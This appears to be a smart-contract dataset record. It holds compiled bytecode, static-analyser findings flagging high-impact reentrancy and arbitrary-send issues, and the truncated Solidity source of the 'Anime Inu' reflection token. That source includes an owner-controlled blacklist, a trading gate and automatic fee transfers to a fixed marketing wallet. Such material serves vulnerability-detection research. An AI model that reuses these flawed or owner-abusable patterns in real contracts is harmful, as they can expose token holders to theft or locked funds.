fffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e20579e5ca012b347fa8f7770bdfaf7e0eac89cc0fb2b57a10b9ca917c4fc81764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,725
0xaeb12942f7e8eda3eae33279fe7c38da0886d1ec
// //Anime Inu - Brother of Dog Collar token //https://collartoken.com/ //*/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ANINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Anime Inu"; string private constant _symbol = "ANINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x9A991EbD8dD3E0F992F701dD2F2dcCF79e507bbB); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 6000000000000 * 10**9; //6% of total supply per txn uint256 public _maxWalletSize = 7000000000000 * 10**9; //5% of total supply uint256 public _swapTokensAtAmount = 5000000000000 * 10**9; //5% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = 